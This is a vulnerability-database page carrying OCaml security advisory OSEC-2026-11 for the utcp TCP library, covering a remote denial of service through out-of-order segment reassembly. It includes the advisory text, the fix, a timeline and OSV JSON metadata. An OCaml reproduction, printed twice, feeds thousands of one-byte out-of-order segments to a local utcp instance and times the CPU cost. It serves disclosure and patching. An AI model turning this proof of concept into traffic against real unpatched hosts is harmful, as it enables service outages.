GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
osec-2026-11
Vulnerability from osv_ocaml
Published
2026-07-27 19:30
Modified
2026-09-10 09:45
Summary
Out of order segment reassembly allows remote denial of service
Details

A remote peer that completes a normal TCP handshake can send a stream of small out-of-order segments that never fill the gap at rcv_nxt. utcp keeps one reassembly entry per segment (bounded per connection only by the receive window, about 65000 one-byte entries) and re-folds the whole queue on every segment, so per-packet cost is huge.

This has SegmentSmack shape (CVE-2018-5390): a cheap packet stream imposes disproportionate CPU on the receiver, and there is no cap on the number of such connections.

Solution

Instead of a flat list, a red-black binary tree is used for the reassembly queue.

Reproduction

let () = Mirage_crypto_rng_unix.use_default ()

let server_ip = Ipaddr.(V4 (V4.of_string_exn "10.0.0.1"))
let client_ip = Ipaddr.(V4 (V4.of_string_exn "10.0.0.2"))
let now = Mtime.of_uint64_ns 0L
let to_wire seg = Utcp.Segment.encode_and_checksum now ~src:client_ip ~dst:server_ip seg

let seg ~seq ?ack ?flag ?(payload = []) ?(payload_len = 0) () =
  { Utcp.Segment.src_port = 12345; dst_port = 80; seq; ack; flag;
    push = false; window = 65535; options = []; payload; payload_len }

let feed st s = Utcp.handle_buf st now ~src:client_ip ~dst:server_ip (to_wire s)

(* establish a connection, then feed [n] out-of-order segments that never fill
   the gap at rcv_nxt; return the CPU time spent *)
let cost n =
  let st = Utcp.start_listen (Utcp.empty Fun.id "victim") 80 in
  let iss = Utcp.Sequence.of_int32 1000l in
  let st, _, outs = feed st (seg ~seq:iss ~flag:`Syn ()) in
  let server_iss = (match outs with [ (_, _, s) ] -> s.Utcp.Segment.seq | _ -> assert false) in
  let st, _, _ = feed st (seg ~seq:(Utcp.Sequence.incr iss) ~ack:(Utcp.Sequence.incr server_iss) ()) in
  let rcv_nxt = Utcp.Sequence.incr iss and ack = Utcp.Sequence.incr server_iss in
  let st = ref st in
  let t0 = Sys.time () in
  for i = 0 to n - 1 do
    let s = seg ~seq:(Utcp.Sequence.addi rcv_nxt ((2 * i) + 2)) ~ack ~payload:[ "X" ] ~payload_len:1 () in
    let st', _, _ = feed !st s in
    st := st'
  done;
  Sys.time () -. t0

let () =
  let t1 = cost 2000 and t2 = cost 4000 and t3 = cost 8000 in
  Printf.printf "2000 one-byte out-of-order segments: %.3fs\n" t1;
  Printf.printf "4000 one-byte out-of-order segments: %.3fs (%.1fx)\n" t2 (t2 /. t1);
  Printf.printf "8000 one-byte out-of-order segments: %.3fs (%.1fx)\n" t3 (t3 /. t2)

Timeline

  • June 25th 2026: report to ocaml/security-advisories
  • June 29th: acknowledgement of issue with several questions for the reporter
  • July 6th: answers from reporter, including a patch
  • July 26th: patch developed by library author
  • July 27th: release of utcp 0.0.6 and security advisory

{
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "utcp {\u003c \"0.0.6\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "utcp",
        "purl": "pkg:opam/utcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "08522428c957d796a6455d5aad434701c879fd4e"
            }
          ],
          "repo": "https://git.robur.coop/robur/utcp.git",
          "type": "GIT"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.2",
        "0.0.3",
        "0.0.4",
        "0.0.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-87734"
  ],
  "credits": [
    {
      "name": "Thomas Gazagnaire",
      "type": "REPORTER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Romain Calascibetta",
      "type": "REMEDIATION_REVIEWER"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-400"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-11.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-11.json"
  },
  "details": "A remote peer that completes a normal TCP handshake can send a stream of small out-of-order segments that never fill the gap at rcv_nxt. utcp keeps one reassembly entry per segment (bounded per connection only by the receive window, about 65000 one-byte entries) and re-folds the whole queue on every segment, so per-packet cost is huge.\n\nThis has SegmentSmack shape (CVE-2018-5390): a cheap packet stream imposes disproportionate CPU on the receiver, and there is no cap on the number of such connections. \n\n## Solution\n\nInstead of a flat list, a red-black binary tree is used for the reassembly queue.\n\n## Reproduction\n\n```OCaml\nlet () = Mirage_crypto_rng_unix.use_default ()\n\nlet server_ip = Ipaddr.(V4 (V4.of_string_exn \"10.0.0.1\"))\nlet client_ip = Ipaddr.(V4 (V4.of_string_exn \"10.0.0.2\"))\nlet now = Mtime.of_uint64_ns 0L\nlet to_wire seg = Utcp.Segment.encode_and_checksum now ~src:client_ip ~dst:server_ip seg\n\nlet seg ~seq ?ack ?flag ?(payload = []) ?(payload_len = 0) () =\n  { Utcp.Segment.src_port = 12345; dst_port = 80; seq; ack; flag;\n    push = false; window = 65535; options = []; payload; payload_len }\n\nlet feed st s = Utcp.handle_buf st now ~src:client_ip ~dst:server_ip (to_wire s)\n\n(* establish a connection, then feed [n] out-of-order segments that never fill\n   the gap at rcv_nxt; return the CPU time spent *)\nlet cost n =\n  let st = Utcp.start_listen (Utcp.empty Fun.id \"victim\") 80 in\n  let iss = Utcp.Sequence.of_int32 1000l in\n  let st, _, outs = feed st (seg ~seq:iss ~flag:`Syn ()) in\n  let server_iss = (match outs with [ (_, _, s) ] -\u003e s.Utcp.Segment.seq | _ -\u003e assert false) in\n  let st, _, _ = feed st (seg ~seq:(Utcp.Sequence.incr iss) ~ack:(Utcp.Sequence.incr server_iss) ()) in\n  let rcv_nxt = Utcp.Sequence.incr iss and ack = Utcp.Sequence.incr server_iss in\n  let st = ref st in\n  let t0 = Sys.time () in\n  for i = 0 to n - 1 do\n    let s = seg ~seq:(Utcp.Sequence.addi rcv_nxt ((2 * i) + 2)) ~ack ~payload:[ \"X\" ] ~payload_len:1 () in\n    let st\u0027, _, _ = feed !st s in\n    st := st\u0027\n  done;\n  Sys.time () -. t0\n\nlet () =\n  let t1 = cost 2000 and t2 = cost 4000 and t3 = cost 8000 in\n  Printf.printf \"2000 one-byte out-of-order segments: %.3fs\\n\" t1;\n  Printf.printf \"4000 one-byte out-of-order segments: %.3fs (%.1fx)\\n\" t2 (t2 /. t1);\n  Printf.printf \"8000 one-byte out-of-order segments: %.3fs (%.1fx)\\n\" t3 (t3 /. t2)\n```\n\n## Timeline\n\n- June 25th 2026: report to ocaml/security-advisories\n- June 29th: acknowledgement of issue with several questions for the reporter\n- July 6th: answers from reporter, including a patch\n- July 26th: patch developed by library author\n- July 27th: release of utcp 0.0.6 and security advisory",
  "id": "OSEC-2026-11",
  "modified": "2026-09-10T09:45:00Z",
  "published": "2026-07-27T19:30:00Z",
  "references": [],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Out of order segment reassembly allows remote denial of service"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…